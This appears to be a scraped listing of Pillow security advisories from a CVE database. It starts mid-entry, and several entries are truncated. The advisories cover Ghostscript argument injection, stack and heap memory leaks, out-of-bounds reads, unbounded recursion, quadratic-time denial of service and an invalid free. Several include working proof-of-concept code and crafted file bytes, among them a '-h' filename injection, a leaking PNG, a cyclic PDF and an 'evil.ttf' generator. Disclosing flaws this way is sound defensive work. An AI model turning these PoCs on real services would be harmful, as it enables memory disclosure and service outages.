leading @ (Ghostscript's argument-file syntax, which causes it to read additional command-line arguments from the named file). Because the filename is neither normalized (e.g., forced to an absolute path or prefixed with ./) nor checked against these prefixes before being handed to the subprocess, an attacker who controls the filename passed to Image.open() can inject arbitrary Ghostscript command-line arguments. This is a classic argument-injection flaw (CWE-88), and it is not mitigated by Pillow's default -dSAFER setting. #### Affected - Pillow: tested on 12.3.0 (latest); vulnerable code is long-standing and appears to affect all current versions (main included). - Component: `src/PIL/EpsImagePlugin.py`, `Ghostscript()` — `infile = fp.name`, and the command list entry `"-f", infile`. #### Suggested fix Normalize the filename to an absolute path before it is passed to Ghostscript, so it can never be parsed as an option (`-`/`--`) or as an argument-file token (`@`): ```python if hasattr(fp, "name") and os.path.exists(fp.name): infile = os.path.abspath(fp.name) # was: infile = fp.name ``` `os.path.abspath()` guarantees the path starts with a path separator (or a drive letter on Windows), so a leading `-` or `@` can no longer reach Ghostscript's argument parser. The `else` branch already builds a safe `tempfile.mkstemp()` path and needs no change. ### PoC dockerfile, Default run shows the argument-injection demo (poc.py); for the RCE PoC run python3 poc-rce.py. ``` FROM ubuntu:24.04 RUN apt update RUN apt install -y --no-install-recommends python3 python3-venv ghostscript ca-certificates RUN rm -rf /var/lib/apt/lists/* RUN python3 -m venv /venv && /venv/bin/pip install --upgrade pip Pillow==12.3.0 ENV PATH=/venv/bin:$PATH WORKDIR /poc COPY poc.py . COPY poc-rce.py . COPY arg . CMD ["python3", "poc.py"] ``` poc.py ``` import os from PIL import Image ############################################################################################ # Attacker controlled file ############################################################################################ EPS = b"%!PS-Adobe-3.0 EPSF-3.0\n%%BoundingBox: 0 0 100 100\n%%EndComments\nshowpage\n" name = "-h" with open(name, "wb") as f: f.write(EPS) ############################################################################################ print(f"[*] Pillow opens a file whose name is {name!r}") im = Image.open(name) print(f"[*] call `load()`; this paths calls `gs` command with '-f {name}'") try: im.load() except Exception as e: print(f"[*] load() raised: {type(e).__name__}: {e}") print("CWE-88: argument injection; Pillow code doesn't validate argument name") print(" This poc.py shows the vulnerability clearly.") print(" | CVE Database V5 | ||
| Medium | 6.9 | EPSS 0.3% | CVE-2026-112898Pillow · Use of Uninitialized Variable Medium6.9EPSS 0.3%CVE Database V5CVE-2026-112898 ``` ============================================================================ Image.quantize() with empty palette leaks uninitialized stack memory Location: src/libImaging/Palette.c:216 in ImagingPaletteCacheUpdate() Commit: a707c6b21c313880d0771e54965d142dd42358b6 ============================================================================ ``` When an application lets a user supply the palette image for Pillow's `Image.quantize(palette=...)`, the user can get back 512 bytes of the server process's stack memory in the pixels of the returned image. An 80-byte PNG with an empty palette is enough, and the leaked bytes survive saving to PNG or GIF. In the runs examined, those bytes included memory addresses inside the stack, heap, libc, libpython and Pillow's own C module, along with the stack-protector canary. The bug is in `ImagingPaletteCacheUpdate()` in `src/libImaging/Palette.c`. It fills a local `UINT8 c[512]` only inside loops bounded by `palette->size`. When the palette has zero entries, the array is never written, but it is still copied into the colour cache. `topalette()` in `src/libImaging/Convert.c` then emits the cached values as output pixel indices. `topalette()` rejects a `NULL` palette but not one with `size == 0`. Three inputs produce such a zero-entry `"P"` image: a PNG with a zero-length `PLTE` chunk opened with `Image.open()`, a colour-mapped TGA with colour-map length 0, or a bare `Image.new("P", ...)`. The attacker must control the *palette* image; the source image can be anything, and `RGB` sources are affected with either dither mode. There is no out-of-bounds access and no memory corruption. The consequence is a bounded stack disclosure that can reveal address layout and the canary of a long-lived worker, with no crash and no log entry. The attached reproducer quantizes a 512-colour strip against the empty-palette PNG and finds 8 of the 64 output words pointing into the process's own `[stack]` mapping, while a one-entry palette control yields all zeros. The behaviour was introduced in commit `54cb09d8b48c` (first released in 9.1.0). The `Image.new("P", ...)` route exists since 10.1.0. ## Details `ImagingPaletteCacheUpdate()` (`src/libImaging/Palette.c:154`) computes, for one 8×8×8 box of the colour cache, the nearest palette index for each of the 512 slots into a local `UINT8 c[512]` and then copies `c[]` into the cache. `c[]` is only ever written inside `for (i = 0; i < palette->size; i++)`. When the palette has zero entries nothing writes it, the untouched stack bytes are copied into the cache, and `topalette()` (`src/libImaging/Convert.c:1145`) emits them as the output pixels of `Image.quantize(palette=...)`. The root cause is that `topalette()` only rejects a `NULL` palette, never one with `palette->size == 0`, while `ImagingPaletteCacheUpdate()` silently assumes `size >= 1`. A zero-entry `"P"` image is what `Image.open()` produces for a PNG whose `PLTE` chunk has length 0 (or a colour-mapped TGA with colour-map length 0); `Image.new("P", size)` without a subsequent `putpalette()` yields one as well. Both dither modes (`Dither.NONE` and the default Floyd-Steinberg) are affected for `RGB` sources (an `L` source takes the grayscale copy path and never consults the cache). Showing it with the installed build, no special flags. The 80-byte PNG below is 4×4, bit depth 8, colour type 3, with a zero-length `PLTE` and an all-zero `IDAT`: ``` 89504e470d0a1a0a 0000000d49484452 0000000400000004 0803000000 9e2f6e4c 00000000 504c5445 4ba88955 0000000b 49444154 789c6360c0040000140001 7dfe1eee 00000000 49454e44 ae426082 ``` ```python pal = Image.open(io.BytesIO(png)); pal.load() # pal.mode == "P", pal.im.getpalette("RGB") == b"" src = Image.new("RGB", (512, 1)) src.putdata([(r*4, g*4, b*4) for r in range(8) for g in range(8) for b in range(8)]) out = src.quantize(palette=pal, dither=Image.Dither.NONE) out.tobytes() # 512 bytes, different in every process ``` The 512 source colours are chosen so that each pixel lands in a distinct slot of the cache box for `r,g,b ∈ [0,32)`, in slot order, so `out.tobytes()` is exactly `c[0..511]`. Read as 64 little-endian 8-byte words and resolved against the same process's `/proc/self/maps`, a typical run gives 43 words that are addresses inside the process's own mappings — 8 in `[stack]`, several in `[heap]`, `libc.so.6`, `libpython3.12.so` and `_imaging.cpython-312-x86_64-linux-gnu.so` — and 3 words equal to the thread's stack-protector canary (read from `fs:0x28` for comparison). The same PNG with a 3-byte `PLTE` (one entry) gives 512 zero bytes in every run. `out.save(buf, "PNG")` succeeds, so the bytes leave the process in an ordinary image. Under valgrind (run against a `strip --strip-debug` copy of `_imaging.so` or a gcc build, since valgrind 3.19 cannot read clang's DWARF5) the report carries the origin `Uninitialised value was created by a stack allocation at ImagingPaletteCacheUpdate`. With `Dither.NONE` `topalette` only copies | CVE Database V5 | ||
| High | 8.7 | EPSS 0.3% | CVE-2026-112897Pillow · Use of Uninitialized Resource High8.7EPSS 0.3%CVE Database V5CVE-2026-112897 Pillow is a Python imaging library. From 5.3.0 until 13.0.0, Pillow can return uninitialized memory as pixels when libtiff performs a short decode of JPEG-compressed or Group 4 fax TIFF data. The _decodeStrip and _decodeTile buffers can be larger than the bytes written by libtiff, but Pillow converts the expected rows without clearing the unwritten tail. The tile path is affected from 5.3.0 and the strip path from 6.0.0. An attacker can supply a crafted TIFF to an application that loads and returns or re-encodes its pixels. This can disclose stale heap contents without memory corruption or a process crash. This issue is fixed in version 13.0.0. | CVE Database V5 | ||
| High | 8.8 | EPSS 0.3% | CVE-2026-112896Pillow · Out-of-bounds Read High8.8EPSS 0.3%CVE Database V5CVE-2026-112896 ## Summary A small attacker-supplied TIFF can be opened and loaded normally, then reach an out-of-bounds read when an application saves it back to TIFF with retained metadata. The fixed reproducer is a 1×1, 16-bit grayscale, PackBits-compressed TIFF containing tag 320 (ColorMap) with **768 SHORT values**: three zero-filled planes of 256 entries each. No Python object is forged and no metadata is injected after loading. Pillow's TIFF encoder allocates **768 × 2 = 1536 bytes**, then passes three plane pointers separated by 256 SHORT entries to libtiff. With `BitsPerSample = 16`, libtiff instead expects **65536 SHORT values per plane** and attempts a **131072-byte read** from a plane pointer. Existing ASAN observations identify a heap-buffer-overflow READ crossing the 1536-byte allocation made in `PyImaging_LibTiffEncoderNew`. The malformed ColorMap need not be a valid palette for this grayscale image. The issue is that accepted metadata is forwarded on save without reconciling the fixed plane extent with the effective sample depth. Opening/loading alone is not the demonstrated fault; the encoder path is required. ## Impact and prerequisites An application must accept the input, retain the relevant TIFF metadata, and invoke the libtiff-backed TIFF save path. The observed consequence is an out-of-bounds read and ASAN termination. Process-memory exposure during encoding is a potential consequence, **not demonstrated by extracting arbitrary heap contents in this report**. No arbitrary read primitive, full memory-disclosure chain, code execution, address-space bypass, or cross-process effect is claimed. The 131072-byte attempted copy is not the number of bytes proven disclosed. This report does not run a synthetic-canary serializer or collect an unsanitized encoded output. ## Tested environment and limits of the evidence The existing observations were recorded on August 30, 2026, with **CPython 3.11.8 on macOS ARM64**, using the unmodified official **Pillow 12.3.0** wheel and its bundled **libtiff 4.7.1**: - Wheel: `pillow-12.3.0-cp311-cp311-macosx_11_0_arm64.whl` - Wheel size: `4785266` bytes - Wheel SHA-256: `37d6d0a00072fd2948eb22bce7e1475f34569d90c87c59f7a2ec59541b77f7a6` - Pillow source revision: `bb1d8e8ab8d29048624d96e3ee53cecf7c13d13d` - Bundled libtiff SHA-256: `e8988717b7470394a47d5ccd343130796b24ee70b6d885d3818e0e0b53238be1` Apple's ASAN runtime was injected at process startup. This is **not an ASAN-rebuilt Pillow wheel**; allocation/memcpy interception detects the reported boundary violation, but the wheel's native instructions are not comprehensively instrumented. Only this concrete full-package environment is established here. No affected-version range, current development-branch result, or patched release is asserted. Severity is **Unknown**; no CVSS score is proposed. Separate earlier evidence reached the original Pillow 8.0.1 encoder constructor compiled as a component against a modern Python/libtiff environment. **That was not a complete Pillow 8.0.1 installation** and does not establish the historical package's full runtime behavior. It is not part of this reproducer or an affected-version range. ## Observed evidence and controls The earlier integration harness performed the natural sequence `Image.open(BytesIO(input))`, `image.load()`, then `image.save(BytesIO(), format="TIFF")`, without replacing the image's metadata. Each case was recorded three times: | Original fixture | Bytes | Recorded result | | --- | ---: | --- | | `colormap16` | 1685 | Loaded as `I;16`; save terminated with ASAN exit 86, READ of size 131072 crossing a 1536-byte heap region (3/3). | | `colormap8` | 1684 | Same fixed ColorMap, but 8-bit samples; save succeeded and retained SHORT/count 768 (3/3). | | `colormap_absent` | 137 | Same 16-bit geometry without ColorMap; save succeeded (3/3). | Address-free summary of the recorded native diagnostic: ```text AddressSanitizer: heap-buffer-overflow READ of size 131072 0 bytes after 1536-byte region Copy path: memcpy -> _TIFFmemcpy -> setByteArray -> _TIFFsetShortArrayExt -> _TIFFVSetField -> TIFFVSetField -> ImagingLibTiffSetField -> PyImaging_LibTiffEncoderNew Allocation: calloc -> PyImaging_LibTiffEncoderNew ``` Input SHA-256 values (also enforced inside the script): - `colormap16`: `5f38e0ead90b97949fb0c98c63f9c68d00ba9181db6631ecb8927376dcc75f4d` - `colormap8`: `fdb26d9135549ed44824901985086c5ee4f06515699ca3291e498c523935405c` - `colormap_absent`: `bd54979624f3ffb713342e0458caff9e17c477f940cda2f0960feebfabbc9556` ## Root cause and source references - [Pillow `src/encode.c`, lines 870–899, pinned revision](https://github.com/python-pillow/Pillow/blob/bb1d8e8ab8d29048624d96e3ee53cecf7c13d13d/src/encode.c#L870): the ColorMap tuple must contain exactly 768 entries; a 1536-byte allocation is passed with a fixed stride of 256. The check does not reconcile that extent with `BitsPerSample`. - [Pillow `src/PIL/TiffImagePlugin.py`, lines 1944–19 | CVE Database V5 | ||
| High | 8.7 | EPSS 0.3% | CVE-2026-112895Pillow · Uncontrolled Recursion High8.7EPSS 0.3%CVE Database V5CVE-2026-112895 ### Summary When an application appends to an existing PDF with `Image.save(..., format="PDF", append=True)`, Pillow parses that file with `PdfParser`. Two recursive parsers have no effective bound. `linearize_page_tree` follows `/Kids` with no visited set or depth limit, so a cyclic or duplicated page tree recurses without end. `read_prev_trailer` rejects only an exactly repeated `/Prev` offset, so a long chain of unique offsets still recurses. The trailer-loop guard added for CVE-2026-42310 does not cover either case. ### Details `linearize_page_tree` recurses on `/Kids` with no cycle or depth check: - `src/PIL/PdfParser.py:1078-1092` `read_prev_trailer` catches only a repeated offset: - `src/PIL/PdfParser.py:697-720` (the `processed_offsets` check at `:714-718` is the CVE-2026-42310 fix; a unique-offset chain slips past it) ### PoC ```python from PIL import PdfParser # A page tree whose /Pages nodes reference each other in a cycle (2 -> 3 -> 2). objs = { 1: b"<< /Type /Catalog /Pages 2 0 R >>", 2: b"<< /Type /Pages /Kids [3 0 R] /Count 1 >>", 3: b"<< /Type /Pages /Kids [2 0 R] /Count 1 >>", } buf = bytearray(b"%PDF-1.4\n") off = {} for oid in (1, 2, 3): off[oid] = len(buf) buf += b"%d 0 obj\n" % oid + objs[oid] + b"\nendobj\n" xref = len(buf) buf += b"xref\n0 4\n0000000000 65535 f \n" buf += b"".join(b"%010d 00000 n \n" % off[o] for o in (1, 2, 3)) buf += b"trailer\n<< /Root 1 0 R /Size 4 >>\nstartxref\n%d\n%%%%EOF\n" % xref open("poc.pdf", "wb").write(buf) PdfParser.PdfParser("poc.pdf", mode="r+b") # append=True parses the existing file the same way ``` Run it: ``` $ python 11_poc.py RecursionError: maximum recursion depth exceeded ``` The 315-byte file triggers the recursion on parse. A duplicated (non-cyclic) `/Kids` tree instead produces super-linear CPU and memory work, and a long unique-offset `/Prev` chain triggers the trailer-side recursion. ### Impact A service that appends to user-supplied PDFs, for example a stamping or watermarking pipeline, can be driven into uncaught recursion or heavy CPU and memory use before any image is written. Follow-up to CVE-2026-42310. Since Pillow's policy discourages filing plain Python exceptions as denial of service, lead with the cyclic-tree case, which burns CPU and memory rather than only raising `RecursionError`. The fix is a visited set plus a depth limit in both parsers. | CVE Database V5 | ||
| High | 8.7 | EPSS 0.3% | CVE-2026-112894Pillow · Inefficient Algorithmic Complexity High8.7EPSS 0.3%CVE Database V5CVE-2026-112894 ``` ============================================================================ Quadratic-time DoS in PDF save_all (PdfParser.next_object_id) Location: src/PIL/PdfParser.py:629 in next_object_id() Commit: a707c6b21c313880d0771e54965d142dd42358b6 ============================================================================ ``` Pillow's PDF writer takes time proportional to the square of the number of frames when it saves a multi-frame image as a multi-page PDF. Anyone who can get an application to convert their uploaded image this way can tie up a worker at full CPU for minutes with a small file. A 240 KB animated image takes about 70 seconds, a 720 KB one an estimated 10 minutes, and a 125-byte animated PNG that merely *declares* a large frame count triggers the same slowdown with no upper bound short of 2³¹ frames. Memory stays under 100 MB and the decompression-bomb limit never applies. The cause is `PdfParser.next_object_id()` in `src/PIL/PdfParser.py`, which finds the next free id by computing `max(self.xref_table.keys())`. `XrefTable.keys()` rebuilds three sets over every id reserved so far on each call. `PdfImagePlugin._save()` calls it three times (four for palette images with transparency) per frame, for `n_frames` frames, before any page is written. That makes the id-reservation loop alone O(N²). Because `n_frames` is taken from the file before any frame is seeked, APNG's `acTL` count drives the loop even when the frames don't exist. In that case the save raises `OSError` only after the full delay. The precondition is that the application calls `im.save(..., "PDF", save_all=True)` on the attacker's file; `Image.open()` and `load()` alone do not reach this code. The attached reproducer shows 4× the frames costing about 11× the CPU for a valid GIF and about 16× for a fixed 125-byte APNG. The behaviour was introduced in `6207b44ab1ff` (2018-01-18) and first shipped in Pillow 5.1.0. A small patch that tracks the highest id in `XrefTable` makes the save linear. ## Details Saving a multi-frame image as a multi-page PDF (`im.save(fp, "PDF", save_all=True)`) costs CPU time proportional to the square of the frame count, independent of pixel content, because every object id the PDF writer reserves is found by rebuilding and scanning the set of all ids reserved so far. A 1×1-pixel animated GIF made of N identical 15-byte frames (built by the reproducer) gives, on a 2-CPU container with the stock build at this commit (absolute timings vary by machine; the growth rate does not): | frames | GIF size | `im.save(BytesIO(), "PDF", save_all=True)` | peak RSS | |---|---|---|---| | 2 000 | 30 KB | 1.1 s | | | 8 000 | 120 KB | 14.7 s | | | 16 000 | 240 KB | 70 s | 60 MB | | 32 000 | 480 KB | 262 s | 95 MB | | 48 000 | 720 KB | still running at 120 s (extrapolated ≈ 10 min) | | Each doubling of the input roughly quadruples the time. `cProfile` of the 8 000-frame save attributes 13.5 s of 17.6 s to 24 003 calls of `PdfParser.next_object_id` (8.9 s inside `XrefTable.keys`, 3.9 s inside `max`); encoding and writing the 8 000 pages is the remaining ~4 s and scales linearly. The per-page id reservation loop runs before any page is written: ```python # src/PIL/PdfImagePlugin.py:247-259 (_save) for im in ims: im_number_of_pages = 1 if save_all: im_number_of_pages = getattr(im, "n_frames", 1) … for i in range(im_number_of_pages): image_refs.append(existing_pdf.next_object_id(0)) if im.mode == "P" and "transparency" in im.info: image_refs.append(existing_pdf.next_object_id(0)) page_refs.append(existing_pdf.next_object_id(0)) contents_refs.append(existing_pdf.next_object_id(0)) ``` `n_frames` comes straight from the file (for GIF it is the number of image blocks; the GIF plugin counts them by walking block headers, which is cheap). The frames do not even have to exist: the loop runs on `n_frames` before any frame is seeked, and for APNG `n_frames` is the `num_frames` value declared in the `acTL` chunk, rejected only if it is 0 or above `0x80000000` (`src/PIL/PngImagePlugin.py:716-720`). A 125-byte APNG declaring 8 000 frames therefore costs the same ~10–13 s as the 120 KB GIF, and more without bound as the declared count grows. Each of the 3 (or 4, for `P` images with transparency) calls per frame lands here: ```python # src/PIL/PdfParser.py:626-634 def next_object_id(self, offset: int | None = None) -> IndirectReference: try: # TODO: support reuse of deleted objects reference = IndirectReference(max(self.xref_table.keys()) + 1, 0) except ValueError: reference = IndirectReference(1, 0) if offset is not None: self.xref_table[reference.object_id] = (offset, 0) return reference # src/PIL/PdfParser.py:175-178 (XrefTable) def keys(self) -> set[int]: return ( set(self.existing_entries.keys()) - set(se | CVE Database V5 | ||
| High | 8.2 | EPSS 0.3% | CVE-2026-112893Pillow · Use of Uninitialized Variable High8.2EPSS 0.3%CVE Database V5CVE-2026-112893 ### Summary When text is drawn with a non-zero stroke width, Pillow creates a FreeType stroker and then loads each glyph. If `FT_Load_Glyph` fails for a glyph, the cleanup path calls `FT_Done_Glyph` on the `glyph` variable. That variable is not initialized before the first measurement loop, and in the render loop it is not reset to NULL after each glyph is freed. A malformed font loaded from untrusted bytes can force the load error and reach this free. This is a latent memory-safety defect; whether it crashes depends on the value in the uninitialized or stale pointer. ### Details `glyph` is declared without a NULL initializer: - `src/_imagingft.c:848` The first measurement loop can jump to `glyph_error` before `glyph` is ever assigned: - `src/_imagingft.c:1010-1013` In the render loop the glyph is freed at the end of each iteration and not set back to NULL: - `src/_imagingft.c:1242` The cleanup frees it whenever a stroker exists: - `src/_imagingft.c:1253-1256` `ImageFont.truetype` accepts a file object or bytes, so the font is attacker-suppliable. ### PoC This needs `fontTools` and any base TTF (the example uses one bundled with Pillow's tests). It rewrites glyph "A" to claim 5000 contours in a glyph body far too short for them, so `FT_Load_Glyph` returns an error while the face still opens. ```python import struct from fontTools.ttLib import TTFont from PIL import Image, ImageFont, ImageDraw SRC = "Tests/fonts/FreeMono.ttf" # any TTF works as a base tt = TTFont(SRC) gid = tt.getGlyphID(tt.getBestCmap()[ord("A")]) loca_long = tt["head"].indexToLocFormat tt.close() raw = bytearray(open(SRC, "rb").read()) nt = struct.unpack(">H", raw[4:6])[0] tbl = {} for i in range(nt): rec = 12 + i * 16 tag = bytes(raw[rec:rec+4]).decode("latin-1") off, length = struct.unpack(">II", raw[rec+8:rec+16]) tbl[tag] = (off, length) glyf_off = tbl["glyf"][0]; loca_off = tbl["loca"][0] if loca_long: o0 = struct.unpack_from(">I", raw, loca_off + 4*gid)[0] else: o0 = struct.unpack_from(">H", raw, loca_off + 2*gid)[0] * 2 struct.pack_into(">h", raw, glyf_off + o0, 5000) # numberOfContours = 5000 open("evil.ttf", "wb").write(raw) f = ImageFont.truetype("evil.ttf", 20) # face opens d = ImageDraw.Draw(Image.new("RGB", (64, 64))) d.text((0, 0), "A", font=f, stroke_width=2) # load error -> FT_Done_Glyph on bad pointer ``` Result on the pinned build: `FT_Load_Glyph` returns an error and execution reaches the `glyph_error` cleanup that calls `FT_Done_Glyph(glyph)` (the plugin surfaces `OSError: invalid outline`). ### Impact Applications that draw text with `stroke_width != 0` using fonts loaded from untrusted bytes can hit an invalid or double free. The correct fix is small: initialize `glyph = NULL` and set it back to NULL after each `FT_Done_Glyph`. | CVE Database V5 | ||
| High | 8.7 | EPSS 0.3% | High8.7EPSS 0.3%CVE Database V5CVE-2026-112892 Pillow is a Python imaging library. From 4.1.0 until 13.0.0, Pillow's MSP RLE decoder can expand a small file into an unbounded in-memory buffer. The decoder writes run-length output to BytesIO without limiting expansion to the declared image size. An attacker can supply a crafted MSP image to an application that loads its pixels. This can exhaust memory and deny service even when the declared pixel count passes the decompression-bomb check. This issue is fixed in version 13.0.0. | CVE Database V5 |
Showing 1–20 of 58 results